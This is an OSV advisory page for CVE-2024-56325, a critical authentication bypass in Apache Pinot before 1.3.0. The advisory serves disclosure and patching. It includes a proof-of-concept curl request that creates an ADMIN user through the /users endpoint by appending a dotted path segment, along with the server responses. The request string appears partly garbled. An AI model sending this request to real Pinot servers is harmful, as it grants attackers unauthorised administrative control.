CVE-2024-56325

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Source
https://cve.org/CVERecord?id=CVE-2024-56325
Import Source
https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2024-56325.json
JSON Data
https://api.osv.dev/v1/vulns/CVE-2024-56325
Aliases
Published
2025-04-01T09:07:14Z
Modified
2026-08-12T03:51:47Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
Details

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Database specific 
{
    "cna_assigner": "apache",
    "cwe_ids": [
        "CWE-288"
    ],
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56325.json",
    "unresolved_ranges": [
        {
            "extracted_events": [
                {
                    "fixed": "1.3"
                }
            ],
            "source": "AFFECTED_FIELD"
        }
    ]
}
References

Affected packages

Git / github.com/apache/pinot

Affected ranges

Type
GIT
Repo
https://github.com/apache/pinot
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed
c0023da298126af6a01b802a04b66da34ba16134
Database specific
Show details 
{
    "cpe": "cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:*",
    "extracted_events": [
        {
            "introduced": "0"
        },
        {
            "fixed": "1.3.0"
        }
    ],
    "source": "CPE_RANGE"
}

Affected versions

release-0.*
release-0.12.1-rc0

Database specific

source 
"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2024-56325.json"